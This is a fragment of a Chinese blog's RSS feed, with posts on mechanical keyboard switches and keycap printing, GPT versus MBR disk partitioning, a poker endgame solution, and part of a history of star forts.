<li><strong>灰轴：</strong>同绿洲，主要用于除青轴外的机械键盘的空格键，无段落感，压力最大。</li>
<li><strong>红轴：</strong>与黑轴相似。但压力克数比黑轴小，起35，终60（黑轴起点为40）。是08年出的新轴。手感比较轻盈。敲击时没有段落感，直上直下，触发键程也同为2.0mm，敲击时更加轻松，能很好兼顾游戏和打字的使用需求。Cherry已经开放机械红轴的使用权，除了原厂的机械红轴外，目前Filco、PLU、Ducky等都有相关产品。</li>
<li><strong>黄轴</strong>：雷柏自主开发机械黄轴，单轴寿命高达5000万次，2mm触发行程，50g触发压力，轻触即发，自如应对，可以在长时间激烈游戏对抗中也不会手指酸痛。</li>
</ul>
<p>从压力克数指数来看，青轴=茶轴&lt;黑轴&lt;白轴，从上文机械轴的介绍中可以通过压力克数指数更直接的看到这一点，所以在按键感觉上，茶轴和青轴键盘最轻松，而黑轴键盘按键需要的力度就是变大，而白轴会更大。</p>
<p><strong>键盘键帽印刷技术</strong></p>
<p>键盘键帽的不同不仅可以影响到手感、视觉感受，还会影响到使用寿命。在关于键帽的介绍中，我们主要通过两个方面来进行，一是键帽字符的印刷技术，二是键帽的材质，两者虽然属于不同的方面，但是之间存在一定的关系。目前市场上所能见到的键盘键帽印刷技术主要有七种，包括丝网印刷、UV覆膜技术、激光填料法、含浸印刷（热升华）、镂空印字法、激光蚀刻（镭射）、二色成形法。</p>
<ol>
<li><strong>丝网印刷</strong>，最常见的一种键帽印刷技术，在键帽表面通过丝网印刷机将油墨印在表面，成本低廉，色彩丰富，深色键帽中比较常见，但是采用这种印刷技术的键帽字符耐磨度较差，所以在低端键盘中比较常见。</li>
<li><strong>UV覆膜技术</strong>是经丝网印刷技术改进而成，这种技术是先在键帽表面覆膜，然后将油墨印刷在薄膜之上，视觉感受似乎没有丝网印刷好，但是耐磨度大大增加，而且成本并不会增加太多，这种技术很容易识别。目前IBM的笔记本键盘、DELL 81xx系列等键盘均采用此种技术。</li>
<li><strong>激光填料法</strong>，先使用激光刻蚀技术在键帽表面烧刻出字符凹痕，然后将油墨填入字符凹槽中，油墨不再是停留在键帽表面，所以耐磨度大大增加，但是由于经过两次印刷工艺，所以成本也会相应增加。</li>
<li><strong>含浸印刷，</strong>也被称为热升华技术，通过生热华方式将固态树脂类油墨融入键帽表面形成字符，光泽度较高，字符有立体感，牢固性极高，由于成本与产量问题，使用这类技术的键盘非常罕见。</li>
<li><strong>镂空印字法，</strong>现在市场上有不少带背光的键盘，由于需要同将背光透过字符体现出来，增强视觉效果，必须采用镂空印字法处理键帽，由于材质因素，所以这类键帽手感只能定位为一般。但是视觉效果的却是其它键帽技术所无法媲美的。</li>
<li><strong>激光刻蚀也被称为镭射，</strong>就是通过激光烧刻的方式在键帽表面刻出字符，特点是字符清晰，线条较细，耐磨度较高，在一些白色键帽中比较常见。由于激光刻蚀生产线效率较高，适合大批量生产，但是不适合结构比较复杂键盘和字符复杂的键帽。</li>
<li><strong>二色成型法，</strong>就是将两种不同颜色的塑料融合在一起形成字符，色彩对比度较高，即使将键帽垂直切开，也能看到内部字体，所以不会出现掉字现象。另外，二色成型键帽由于材质因素，在触感方面表现极佳。但是这类技术制造成本非常高，影响到其普及应用，只有在Cherry的高端键盘中会见到二色成型键帽。</li>
</ol>
<p>其实，除了以上7种键帽印刷技术之外，随着技术的革新，新型技术也被应用在键帽身上，比如Optimus键盘就采用液晶显示屏作为键帽。对于键帽，除了印刷技术之外，键帽材质也是影响键盘品质的一个重要因素。</p>
<p>Related posts:<ol>
<li><a href='http://www.biaodianfu.com/star-fort.html' rel='bookmark' title='防御工事：星形要塞'>防御工事：星形要塞</a></li>
<li><a href='http://www.biaodianfu.com/cookie-vs-session.html' rel='bookmark' title='Cookie与Session的区别'>Cookie与Session的区别</a></li>
<li><a href='http://www.biaodianfu.com/the-web-is-dead-long-live-the-internet.html' rel='bookmark' title='《连线》杂志：Web已死 Internet永生'>《连线》杂志：Web已死 Internet永生</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.biaodianfu.com/keyboard.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>GUID分区表的学习</title>
		<link>http://www.biaodianfu.com/guid.html</link>
		<comments>http://www.biaodianfu.com/guid.html#comments</comments>
		<pubDate>Tue, 06 Sep 2011 10:00:09 +0000</pubDate>
		<dc:creator>标点符</dc:creator>
				<category><![CDATA[无法定义]]></category>
		<category><![CDATA[磁盘]]></category>

		<guid isPermaLink="false">http://www.biaodianfu.com/?p=4266</guid>
		<description><![CDATA[先说说目前广泛使用的磁盘分区表方案。传统的分区方案(称为MBR分区方案)是将分区信息保存到磁盘的第一个扇区(MBR扇区)中的64个字节中，每个分区项占用16个字节，这16个字节中存有活动状态标志、文件系统标识、起止柱面号、磁头号、扇区号、隐含扇区数目(4个字节)、分区总扇区数目(4个字节)等内容。由于MBR扇区只有64个字节用于分区表，所以只能记录4个分区的信息。这就是硬盘主分区数目不能超过4个的原因。后来为了支持更多的分区，引入了扩展分区及逻辑分区的概念。但每个分区项仍用16个字节存储。 MBR分区方案不是用得好好的吗？为什么要提出新的方案呢？那就让我们看看MBR分区方案有什么问题。前面已经提到了主分区数目不能超过4个的限制，这是其一，很多时候，4个主分区并不能满足需要。另外最关键的是MBR分区方案无法支持超过2TB容量的磁盘。因为这一方案用4个字节存储分区的总扇区数，最大能表示2的32次方的扇区个数，按每扇区512字节计算，每个分区最大不能超过2TB。磁盘容量超过2TB以后，分区的起始位置也就无法表示了。在硬盘容量突飞猛进的今天，2TB的限制将很快被突破。由此可见，MBR分区方案已经无法满足需要了。下面介绍GUID分区表方案。 GUID分区表(简称GPT。使用GUID分区表的磁盘称为GPT磁盘)是源自EFI标准的一种较新的磁盘分区表结构的标准。与目前普遍使用的主引导记录(MBR)分区方案相比，GPT提供了更加灵活的磁盘分区机制。它具有如下优点： 支持2TB以上的大硬盘。 每个磁盘的分区个数几乎没有限制。为什么说“几乎”呢？是因为Windows系统最多只允许划分128个分区。不过也完全够用了。 分区大小几乎没有限制。又是一个“几乎”。因为它用64位的整数表示扇区号。夸张一点说，一个64位整数能代表的分区大小已经是个“天文数字”了，若干年内你都无法见到这样大小的硬盘，更不用说分区了。 分区表自带备份。在磁盘的首尾部分分别保存了一份相同的分区表。其中一份被破坏后，可以通过另一份恢复。 每个分区可以有一个名称(不同于卷标)。 既然GUID分区方案具有如此多的优点，在分区时是不是可以全部采用这种方案呢？不是的。并不是所有的Windows系统都支持这种分区方案。 更多参考资料：http://msdn.microsoft.com/zh-cn/windows/hardware/gg463525.aspx No related posts.]]></description>
			<content:encoded><![CDATA[<p>先说说目前广泛使用的磁盘分区表方案。传统的分区方案(称为MBR分区方案)是将分区信息保存到磁盘的第一个扇区(MBR扇区)中的64个字节中，每个分区项占用16个字节，这16个字节中存有活动状态标志、文件系统标识、起止柱面号、磁头号、扇区号、隐含扇区数目(4个字节)、分区总扇区数目(4个字节)等内容。由于MBR扇区只有64个字节用于分区表，所以只能记录4个分区的信息。这就是硬盘主分区数目不能超过4个的原因。后来为了支持更多的分区，引入了扩展分区及逻辑分区的概念。但每个分区项仍用16个字节存储。</p>
<p>MBR分区方案不是用得好好的吗？为什么要提出新的方案呢？那就让我们看看MBR分区方案有什么问题。前面已经提到了主分区数目不能超过4个的限制，这是其一，很多时候，4个主分区并不能满足需要。另外最关键的是MBR分区方案无法支持超过2TB容量的磁盘。因为这一方案用4个字节存储分区的总扇区数，最大能表示2的32次方的扇区个数，按每扇区512字节计算，每个分区最大不能超过2TB。磁盘容量超过2TB以后，分区的起始位置也就无法表示了。在硬盘容量突飞猛进的今天，2TB的限制将很快被突破。由此可见，MBR分区方案已经无法满足需要了。下面介绍GUID分区表方案。</p>
<p>GUID分区表(简称GPT。使用GUID分区表的磁盘称为GPT磁盘)是源自EFI标准的一种较新的磁盘分区表结构的标准。与目前普遍使用的主引导记录(MBR)分区方案相比，GPT提供了更加灵活的磁盘分区机制。它具有如下优点：</p>
<ol>
<li>支持2TB以上的大硬盘。</li>
<li>每个磁盘的分区个数几乎没有限制。为什么说“几乎”呢？是因为Windows系统最多只允许划分128个分区。不过也完全够用了。</li>
<li>分区大小几乎没有限制。又是一个“几乎”。因为它用64位的整数表示扇区号。夸张一点说，一个64位整数能代表的分区大小已经是个“天文数字”了，若干年内你都无法见到这样大小的硬盘，更不用说分区了。</li>
<li>分区表自带备份。在磁盘的首尾部分分别保存了一份相同的分区表。其中一份被破坏后，可以通过另一份恢复。</li>
<li>每个分区可以有一个名称(不同于卷标)。</li>
</ol>
<p>既然GUID分区方案具有如此多的优点，在分区时是不是可以全部采用这种方案呢？不是的。并不是所有的Windows系统都支持这种分区方案。</p>
<p>更多参考资料：<a href="http://msdn.microsoft.com/zh-cn/windows/hardware/gg463525.aspx">http://msdn.microsoft.com/zh-cn/windows/hardware/gg463525.aspx</a></p>
<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://www.biaodianfu.com/guid.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>街头扑克残局（18张对4张）</title>
		<link>http://www.biaodianfu.com/jietoucanju.html</link>
		<comments>http://www.biaodianfu.com/jietoucanju.html#comments</comments>
		<pubDate>Wed, 27 Jul 2011 05:26:27 +0000</pubDate>
		<dc:creator>标点符</dc:creator>
				<category><![CDATA[无法定义]]></category>
		<category><![CDATA[算法]]></category>

		<guid isPermaLink="false">http://www.biaodianfu.com/?p=4111</guid>
		<description><![CDATA[甲方：多牌排列为34455667799QQQKKK2，2最大 黑桃：3，4，6，7，Q，K 红桃：2，4，6，Q，K 梅花：5，7，9，Q 方片：5，9，K 乙方：4张牌为A，A，J，J花色随便 我想知道他那4张牌怎么赢18张牌 补充说明：单张能出3 ，对子能出44， 连对不出445566， 三带单张不能出KKK4，三带一对能出KKK44顺子能出34567（最少5张） 同花能出（最少5张） 残局解法~ 第一步： 先出一个6，少方PASS。少方只能PASS，否则输。 假设少方不PASS：由于多方出一个6后能保住方块同花457QK和顺子34567（还在手上未出），另外是2KKQQ99。不管少方用A打还是用J打，剩下的牌无非是两种情况：AJJ或者AAJ。明眼人一看便知少方输掉了。不过我可以稍做解释： 如果少方是用A打，剩AJJ。那就很明显了：多方打2，然后同花+顺子+99+QQ+KK，完。 如果少方是用J打，剩AAJ。稍微复杂一点：多方打Q，此时少方只能PASS（对A一拆就输，因为多方这时就单2和Q）。PASS后多方继续打Q（剩 2KK99+同花+顺子），少方更只能PASS。然后多方出单K（剩2K99+同花+顺子），少方还是只能PASS（多方这时只单2和K）。然后多方继续打K（剩2+99+同花+顺子），这时不管少方怎么出，都是一个输字。 以上线内文字是解释给智商一般的人听的，智商高的可以略过。 第二步： 再出一个6，少方还是只能PASS，否则输。 假设少方不PASS：这个时候多方已经保不住顺子34567了，因为没6了。所以排列方式换一下，剩2KKKQQQ997755443。同样也引出一个问题：少方用A打还是用J打。如果少方用J打，剩AAJ。那多方就出Q，少方不敢要，因为A不能拆。多方继续出3，少方更不敢要（这理由就不用说了吧）。直到多方把4给拆开，出一个 4时，少方出J（剩AA），多方用K打（剩2KKQQ9977554），而少方就剩两个A，拆了就输（因为多方只单一个4），不拆就给多方玩死：出另一个 4。于是进入了循环状态，少方输掉。 如果少方用A打，剩AJJ。这看似一个杀手间，其实不然。这时多方剩2KKKQQQ997755443）。 多方PASS，让少方走。少方这时只有一种选择：出JJ。（因为出A和出一个J就等于自杀）。少方出JJ后就剩一个A。这时多方必须要打，用QQ，但不能用草花Q，这是关键。因为多方此时要保住草花的同花：2KQ43，（不能吝啬2，那个9不能拆）。多方的牌则由（2KKKQQQ997755443）减去两个Q，排开要保住的草花2KQ43，剩KK9977554，看到了吗？就单一个4，而此时少方就剩一个A。完。 小结：按照以上两步走，暂时少方只能PASS。 第三步： 出一个3，少方依然只能PASS，否则输。 假设少方不PASS：打A或者打J也是剩AJJ或者AAJ。假设少方打A，剩AJJ，多方PASS。少方只能选择出JJ，剩单A。此时多方的牌为2KKKQQQ99775544，把KK或者QQ随便拆一对去打少方的JJ，多方的牌就只单一个K或者一个Q，少方剩单A，完。假设少方打J，剩AAJ，多方打Q，少方不敢拆A，PASS。然后多方打4，（这时剩2KKKQQ9977554），少方依然不敢拆A，如果拆了，就剩 AJ，多方只单一个4。少方也不敢PASS，如果PASS，将进入循环。所以，这时少方被逼着打J，剩AA。多方则用K干掉，剩2KKQQ9977554 。少方拆A就输。不拆就再打另一个4，由此，进入循环。 第四步： 出方块4，剩2KKKQQQ9977554。 少方这时必须要打，否则输。假设少方PASS，那多方就再出一个4，用2收回，剩KKKQQQ997755，两组三带对：KKK99和QQQ77就跑掉了。所以，少方必须打。但怎么打？假设少方出A，剩AJJ，多方PASS，少方只能出JJ，剩A，否则是自杀。那么多方用QQ去打JJ，（留下草花Q），剩草花同花2KQ94+KK+77+55+9，此时少方剩单A，完。假设少方出J，剩AAJ，多方出Q打。少方依然不敢拆A，PASS。然后多方出另一个4，少方这时不能顺过那个单J，理由不再重复，少方PASS。然后多方开始拆5，剩2KKKQQ99775，少方被逼打J剩AA，多方拿一张K干掉，剩2KKQQ99775，少方剩AA。很明显，又是个循环。完。 总结： 第一步出6，少方必须PASS。（不PASS就直接输） 第二步出6，少方必须PASS。（不PASS就直接输） 第三步出3，少方必须PASS。（不PASS就直接输） 第四步出方块4，少方必须打，不打就输。 （出方块4是为了防止少方用A打，而保住一个草花的同花2KQ94）。但打了也输（详情参见第四步）。 所以：多方必胜！ Related posts: Google蜘蛛UA及IP Google Search Appliance 文档日期 Python语言蕴含的禅机]]></description>
			<content:encoded><![CDATA[<p>甲方：多牌排列为34455667799QQQKKK2，2最大</p>
<p>黑桃：3，4，6，7，Q，K</p>
<p>红桃：2，4，6，Q，K</p>
<p>梅花：5，7，9，Q</p>
<p>方片：5，9，K</p>
<p>乙方：4张牌为A，A，J，J花色随便</p>
<p>我想知道他那4张牌怎么赢18张牌</p>
<p>补充说明：单张能出3 ，对子能出44， 连对不出445566， 三带单张不能出KKK4，三带一对能出KKK44顺子能出34567（最少5张） 同花能出（最少5张）</p>
<p><img class="alignnone size-full wp-image-4112" title="puke" src="http://www.biaodianfu.com/wp-content/uploads/2011/07/puke.png" alt="" width="529" height="483" /></p>
<p><strong>残局解法~</strong></p>
<p><strong>第一步：</strong></p>
<p>先出一个6，少方PASS。少方只能PASS，否则输。</p>
<p>假设少方不PASS：由于多方出一个6后能保住方块同花457QK和顺子34567（还在手上未出），另外是2KKQQ99。不管少方用A打还是用J打，剩下的牌无非是两种情况：AJJ或者AAJ。明眼人一看便知少方输掉了。不过我可以稍做解释：</p>
<p>如果少方是用A打，剩AJJ。那就很明显了：多方打2，然后同花+顺子+99+QQ+KK，完。</p>
<p>如果少方是用J打，剩AAJ。稍微复杂一点：多方打Q，此时少方只能PASS（对A一拆就输，因为多方这时就单2和Q）。PASS后多方继续打Q（剩 2KK99+同花+顺子），少方更只能PASS。然后多方出单K（剩2K99+同花+顺子），少方还是只能PASS（多方这时只单2和K）。然后多方继续打K（剩2+99+同花+顺子），这时不管少方怎么出，都是一个输字。</p>
<p>以上线内文字是解释给智商一般的人听的，智商高的可以略过。</p>
<p><strong>第二步：</strong></p>
<p>再出一个6，少方还是只能PASS，否则输。</p>
<p>假设少方不PASS：这个时候多方已经保不住顺子34567了，因为没6了。所以排列方式换一下，剩2KKKQQQ997755443。同样也引出一个问题：少方用A打还是用J打。如果少方用J打，剩AAJ。那多方就出Q，少方不敢要，因为A不能拆。多方继续出3，少方更不敢要（这理由就不用说了吧）。直到多方把4给拆开，出一个 4时，少方出J（剩AA），多方用K打（剩2KKQQ9977554），而少方就剩两个A，拆了就输（因为多方只单一个4），不拆就给多方玩死：出另一个 4。于是进入了循环状态，少方输掉。</p>
<p>如果少方用A打，剩AJJ。这看似一个杀手间，其实不然。这时多方剩2KKKQQQ997755443）。</p>
<p>多方PASS，让少方走。少方这时只有一种选择：出JJ。（因为出A和出一个J就等于自杀）。少方出JJ后就剩一个A。这时多方必须要打，用QQ，但不能用草花Q，这是关键。因为多方此时要保住草花的同花：2KQ43，（不能吝啬2，那个9不能拆）。多方的牌则由（2KKKQQQ997755443）减去两个Q，排开要保住的草花2KQ43，剩KK9977554，看到了吗？就单一个4，而此时少方就剩一个A。完。</p>
<p>小结：按照以上两步走，暂时少方只能PASS。</p>
<p><strong>第三步：</strong></p>
<p>出一个3，少方依然只能PASS，否则输。</p>
<p>假设少方不PASS：打A或者打J也是剩AJJ或者AAJ。假设少方打A，剩AJJ，多方PASS。少方只能选择出JJ，剩单A。此时多方的牌为2KKKQQQ99775544，把KK或者QQ随便拆一对去打少方的JJ，多方的牌就只单一个K或者一个Q，少方剩单A，完。假设少方打J，剩AAJ，多方打Q，少方不敢拆A，PASS。然后多方打4，（这时剩2KKKQQ9977554），少方依然不敢拆A，如果拆了，就剩 AJ，多方只单一个4。少方也不敢PASS，如果PASS，将进入循环。所以，这时少方被逼着打J，剩AA。多方则用K干掉，剩2KKQQ9977554</p>
<p>。少方拆A就输。不拆就再打另一个4，由此，进入循环。</p>
<p><strong>第四步：</strong></p>
<p>出方块4，剩2KKKQQQ9977554。</p>
<p>少方这时必须要打，否则输。假设少方PASS，那多方就再出一个4，用2收回，剩KKKQQQ997755，两组三带对：KKK99和QQQ77就跑掉了。所以，少方必须打。但怎么打？假设少方出A，剩AJJ，多方PASS，少方只能出JJ，剩A，否则是自杀。那么多方用QQ去打JJ，（留下草花Q），剩草花同花2KQ94+KK+77+55+9，此时少方剩单A，完。假设少方出J，剩AAJ，多方出Q打。少方依然不敢拆A，PASS。然后多方出另一个4，少方这时不能顺过那个单J，理由不再重复，少方PASS。然后多方开始拆5，剩2KKKQQ99775，少方被逼打J剩AA，多方拿一张K干掉，剩2KKQQ99775，少方剩AA。很明显，又是个循环。完。</p>
<p><strong>总结：</strong></p>
<p>第一步出6，少方必须PASS。（不PASS就直接输）</p>
<p>第二步出6，少方必须PASS。（不PASS就直接输）</p>
<p>第三步出3，少方必须PASS。（不PASS就直接输）</p>
<p>第四步出方块4，少方必须打，不打就输。</p>
<p>（出方块4是为了防止少方用A打，而保住一个草花的同花2KQ94）。但打了也输（详情参见第四步）。</p>
<p>所以：多方必胜！</p>
<p>Related posts:<ol>
<li><a href='http://www.biaodianfu.com/googlebot-ua-ip.html' rel='bookmark' title='Google蜘蛛UA及IP'>Google蜘蛛UA及IP</a></li>
<li><a href='http://www.biaodianfu.com/google-crawl-date.html' rel='bookmark' title='Google Search Appliance 文档日期'>Google Search Appliance 文档日期</a></li>
<li><a href='http://www.biaodianfu.com/the-zen-of-python.html' rel='bookmark' title='Python语言蕴含的禅机'>Python语言蕴含的禅机</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.biaodianfu.com/jietoucanju.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>防御工事：星形要塞</title>
		<link>http://www.biaodianfu.com/star-fort.html</link>
		<comments>http://www.biaodianfu.com/star-fort.html#comments</comments>
		<pubDate>Tue, 26 Jul 2011 05:36:12 +0000</pubDate>
		<dc:creator>标点符</dc:creator>
				<category><![CDATA[无法定义]]></category>
		<category><![CDATA[建筑]]></category>

		<guid isPermaLink="false">http://www.biaodianfu.com/?p=4099</guid>
		<description><![CDATA[星形要塞（star fort）或「意大利式要塞」（trace-italienne），是火炮开始主导战场后的黑火药时代所发展出的一种城塞形式，首见于十五世纪的义大利。中古时代的环形要塞，在遭遇能直接射击其直立城墙的炮火时，已被证明是极其脆弱的。相形之下，星形要塞以平坦的建筑，搭配多个能相互掩护的三角形棱堡以及壕沟。再增置其他如半月堡（ravelin）、角堡（hornwork）、皇冠堡（crownwork），及附属堡垒，形成一个复杂但均衡的建筑。 在十五十六世纪之交，星形要塞因为法军入侵意大利半岛而得以更进一步发展。法军配备能轻易击毁中古堡垒的先进火炮。为了抵挡新式火炮的威力，城墙变得低矮厚实。城墙需要多种建材，通常是砖块与泥土，因为砖墙在遭受炮击时不如石墙那般严重。另一个重要的新设计，是作为新式要塞特征的棱堡（bastion）。为增强要塞的防御，必须有来自多个角度的掩护火力。这个结果就导致了星形要塞的出现，这些设计即被米开朗基罗（Michelangelo di Lodovico Buonarroti Simonio, 1475年-1564年）用来加强佛罗伦斯（Florence）的防御工事。 这种设计在1530至1540年代传布至全意大利，并在此后三百年为全欧各国广泛采用。也因此欧洲各国大力招募意大利工程师前去协助建造新式要塞。十七世纪下半的建筑师柯霍恩（Menno van Coehoorn,1641年-1704年）与路易十四的工程师沃邦（Sébastien Le Prestre de Vauban,1633年-1707年），被公认将星形要塞的发展带向极致。星形要塞也成为文艺复兴时代理想城市的图像。十九世纪后，由于榴弹（explosive shell）的发展，才再度改变了防御工事的性质。 起源 中古的城堡通常建于山上，以防御敌人射来的弓箭，同时地势愈高，己方所射的弓箭能飞得更远。敌军就得用冲车撞开城门，或利用云梯爬上城墙，击退守军。对于攻方而言，自然这些堡垒是相当不易攻克的。因此，城堡自然在战争中占有举足轻重的地位。 当十五世纪攻城炮取得战略的一席地位后，工程师则是设法使城墙与具有斜堤的壕沟相配合，使敌人无法进行威力强大的直接射击，并使城墙略微高于能抵销炮火威力的斜堤。倘若条件许可，如在马尔他（Malta）的马诺要塞（Fort Manoel），外壕以开凿天然岩盘而成，而城墙亦属天然岩盘。当城墙愈低，则愈容易受攻击。另一问题则是以往流行的圆形塔楼，相对来说会遮蔽守军火力，造成死角，毕竟由对面城墙直射的火力是不会绕着弧形的墙的。为避免圆形或方形塔楼会产生的问题，因此出现了令攻方士兵无所掩蔽的铲形塔楼。攻方一旦沿壕沟或城墙进入守方精心设计的「死地」时，由于攻方面对守军的火炮无所掩蔽，则守军炮火必将对攻方造成重大打击。 而一个更深层且更微妙的改变是守方由被动化为主动。矮墙容易突破，而一旦攻方占领壕沟外的斜堤并在此放列火炮时，原先用来抵挡直射炮火的斜堤便会因而失去作用。因此要塞的形制必须能将侧击火力发挥到最大，杀伤任何逼近墙角的敌军。星形要塞的每一角掩蔽放列在此的火炮。这些火炮直射相邻炮台的边缘，单一炮台是受两侧火力掩护的。复杂形制要塞的发展，使炮位形成交叉火网。前方的炮台控制能保护城墙及形制复杂的土坡。守军火炮不仅是用来应付强攻也可对付敌军火炮，使他们无法逼近要塞，以免朝脆弱的城墙行直接射击。守城的关键也因而变成围绕要塞外缘的壕沟。这是既隐蔽又隐密的路径。守军可相对安全地移动到壕沟的掩蔽处，并发动积极的反击手段以控制斜堤，斜坡置于壕沟外侧，借着建造防御工事来拒退敌人接近斜堤或可直射城墙的火力点，并以反地道战反击并瓦解对方试图接近城墙的地道战术。 与中古堡垒相比，要塞变得低矮，同时占地更广，更具备防御纵深，攻方为了能将火炮施加到内层的守军，则必须先克服层层的防御。守军火炮的炮位严密地防守，可不受外围的炮轰，但对城内则敞开，这不仅减少了攻方突破的可能性，也大大消除守军火炮所产生的大量硝烟。只要攻方配备的是加农炮（cannon），这种形制的要塞就能有效防御，所受损害大多也只是实心弹（solid shot）直接射击造成的。而虽有黑火药制成的低爆弹（low explosives）可用，但对这种要塞的破坏极微。臼炮（mortar）与高爆弹（high explosive）的发展，大大增强榴弹（explosive shell）的破坏力，而曲射（plunging fire）更使得这种要塞的几何型式变得不合时宜。战争因此再度变得更强调机动。然而也过了许多年才扬弃旧的筑城思维。 建造 由于建筑星形要塞所费不赀，故常与旧的防御工事权且凑合。中古时代外侧的幕墙（curtain）被拆毁，同时在外围掘深沟，挖出的土方堆在墙边用以加固城墙。这种建筑通常会有能抵挡炮击的砖墙，但许多为了省钱而略去此道工序，而以更多的泥土替代。而降低的中古圆塔则以泥土加固，也不失为一种权宜办法。 为有效妨碍正面进攻或是地道挖掘，加宽并加深城墙的外壕常是必要的。自1520年开始，筑城工程师即在护城河外筑起大而平缓的土堤，称为斜堤（glacis），这使城墙完全掩蔽于平射炮火之外。斜堤的好处是阻绝了敌人水平射击的能力。斜度愈大，阻挡的力量也就愈低。 一个耗费巨资改建城池的例子就是西亚那城（Siena），为了改建城墙而在1544年破产。义大利式要塞头一个重要例子则是教廷的西维塔维洽港（Port Civitavecchia）的米开朗基罗要塞（Michelangelo&#8217;s fort），原有的城墙削低加厚，因为石墙容易被炮击而粉碎。 著名例子 证明义大利是要塞真正有效的第一场大仗是1500年抵抗佛罗伦斯与法国联军的比萨（Pisa）保卫战，在法军加农炮轰击下，原有的中古堡垒被击碎，比萨人在受威胁的防区建了一道朝东的土墙，这道朝东倾斜的土墙可以防御攀登，也比被取代掉的幕墙更能抵御炮火。 第二场围攻是1509年的帕图亚（Padua），一个叫弗拉乔康多（Fra Giocondo）的修士工程师，信赖威尼斯的城市防御，拆除了该成的中古城墙，并以宽沟围绕该城，使之能藉由设置在壕沟的炮眼所发出的侧击火力来歼灭敌人。可知（法军）的炮火对低矮的土墙影响甚微，法军与盟友发动了几次血腥但无决定性的进攻后撤围而去。 影响 根据杰弗瑞帕克（Geoffrey Parker）的〈军事革命，1560年-1660年：一个迷思〉（The Military Revolution 1560-1660: A Myth?）一文，近代初期的欧洲出现义大利式要塞，以及（衍生出）夺取这种要塞的难处，导致了军事战略的全般转变。帕克认为战争成了一连串冗长的围攻，而在义大利式要塞存在的地带，会战变得极不适当。帕克最后论及「军略地理」（military geography），换言之，意大利式要塞在特定地点的有无，塑造了近代早期的军事战略。这全然取代了麦克罗伯（Michael Roberts）1955年于贝尔法斯特（Belfast）的皇后大学（Queen University）就职演说中提出军事革命的最初理论。 参考链接：http://en.wikipedia.org/wiki/Star_fort Related posts: 机械键盘的一些知识 Cookie与Session的区别 《连线》杂志：Web已死 Internet永生]]></description>
			<content:encoded><![CDATA[<p>星形要塞（star fort）或「意大利式要塞」（trace-italienne），是火炮开始主导战场后的黑火药时代所发展出的一种城塞形式，首见于十五世纪的义大利。中古时代的环形要塞，在遭遇能直接射击其直立城墙的炮火时，已被证明是极其脆弱的。相形之下，星形要塞以平坦的建筑，搭配多个能相互掩护的三角形棱堡以及壕沟。再增置其他如半月堡（ravelin）、角堡（hornwork）、皇冠堡（crownwork），及附属堡垒，形成一个复杂但均衡的建筑。</p>
<div id="attachment_4100" class="wp-caption alignnone" style="width: 314px"><img class="size-full wp-image-4100" title="一整套防御工事：棱堡、半月堡、角堡" src="http://www.biaodianfu.com/wp-content/uploads/2011/07/hornwork.jpg" alt="" width="304" height="341" /><p class="wp-caption-text">一整套防御工事：棱堡、半月堡、角堡</p></div>
<p>在十五十六世纪之交，星形要塞因为法军入侵意大利半岛而得以更进一步发展。法军配备能轻易击毁中古堡垒的先进火炮。为了抵挡新式火炮的威力，城墙变得低矮厚实。城墙需要多种建材，通常是砖块与泥土，因为砖墙在遭受炮击时不如石墙那般严重。另一个重要的新设计，是作为新式要塞特征的棱堡（bastion）。为增强要塞的防御，必须有来自多个角度的掩护火力。这个结果就导致了星形要塞的出现，这些设计即被米开朗基罗（Michelangelo di Lodovico Buonarroti Simonio, 1475年-1564年）用来加强佛罗伦斯（Florence）的防御工事。</p>
<div id="attachment_4101" class="wp-caption alignnone" style="width: 384px"><img class="size-full wp-image-4101" title="稜堡" src="http://www.biaodianfu.com/wp-content/uploads/2011/07/bastion.png" alt="" width="374" height="252" /><p class="wp-caption-text">稜堡</p></div>
<p>这种设计在1530至1540年代传布至全意大利，并在此后三百年为全欧各国广泛采用。也因此欧洲各国大力招募意大利工程师前去协助建造新式要塞。十七世纪下半的建筑师柯霍恩（Menno van Coehoorn,1641年-1704年）与路易十四的工程师沃邦（Sébastien Le Prestre de Vauban,1633年-1707年），被公认将星形要塞的发展带向极致。星形要塞也成为文艺复兴时代理想城市的图像。十九世纪后，由于榴弹（explosive shell）的发展，才再度改变了防御工事的性质。</p>
<p><strong>起源</strong></p>
<p>中古的城堡通常建于山上，以防御敌人射来的弓箭，同时地势愈高，己方所射的弓箭能飞得更远。敌军就得用冲车撞开城门，或利用云梯爬上城墙，击退守军。对于攻方而言，自然这些堡垒是相当不易攻克的。因此，城堡自然在战争中占有举足轻重的地位。</p>
<div id="attachment_4103" class="wp-caption alignnone" style="width: 429px"><img class="size-full wp-image-4103" title="愛丁堡城即是典型的中古山城" src="http://www.biaodianfu.com/wp-content/uploads/2011/07/aidingbao.png" alt="" width="419" height="312" /><p class="wp-caption-text">愛丁堡城即是典型的中古山城</p></div>
<p>当十五世纪攻城炮取得战略的一席地位后，工程师则是设法使城墙与具有斜堤的壕沟相配合，使敌人无法进行威力强大的直接射击，并使城墙略微高于能抵销炮火威力的斜堤。倘若条件许可，如在马尔他（Malta）的马诺要塞（Fort Manoel），外壕以开凿天然岩盘而成，而城墙亦属天然岩盘。当城墙愈低，则愈容易受攻击。另一问题则是以往流行的圆形塔楼，相对来说会遮蔽守军火力，造成死角，毕竟由对面城墙直射的火力是不会绕着弧形的墙的。为避免圆形或方形塔楼会产生的问题，因此出现了令攻方士兵无所掩蔽的铲形塔楼。攻方一旦沿壕沟或城墙进入守方精心设计的「死地」时，由于攻方面对守军的火炮无所掩蔽，则守军炮火必将对攻方造成重大打击。</p>
<div id="attachment_4102" class="wp-caption alignnone" style="width: 370px"><img class="size-full wp-image-4102" title="死地" src="http://www.biaodianfu.com/wp-content/uploads/2011/07/star-fort-dead-zones.png" alt="" width="360" height="349" /><p class="wp-caption-text">死地在马尔他，开凿岩盘建成的马诺要塞</p></div>
</div>
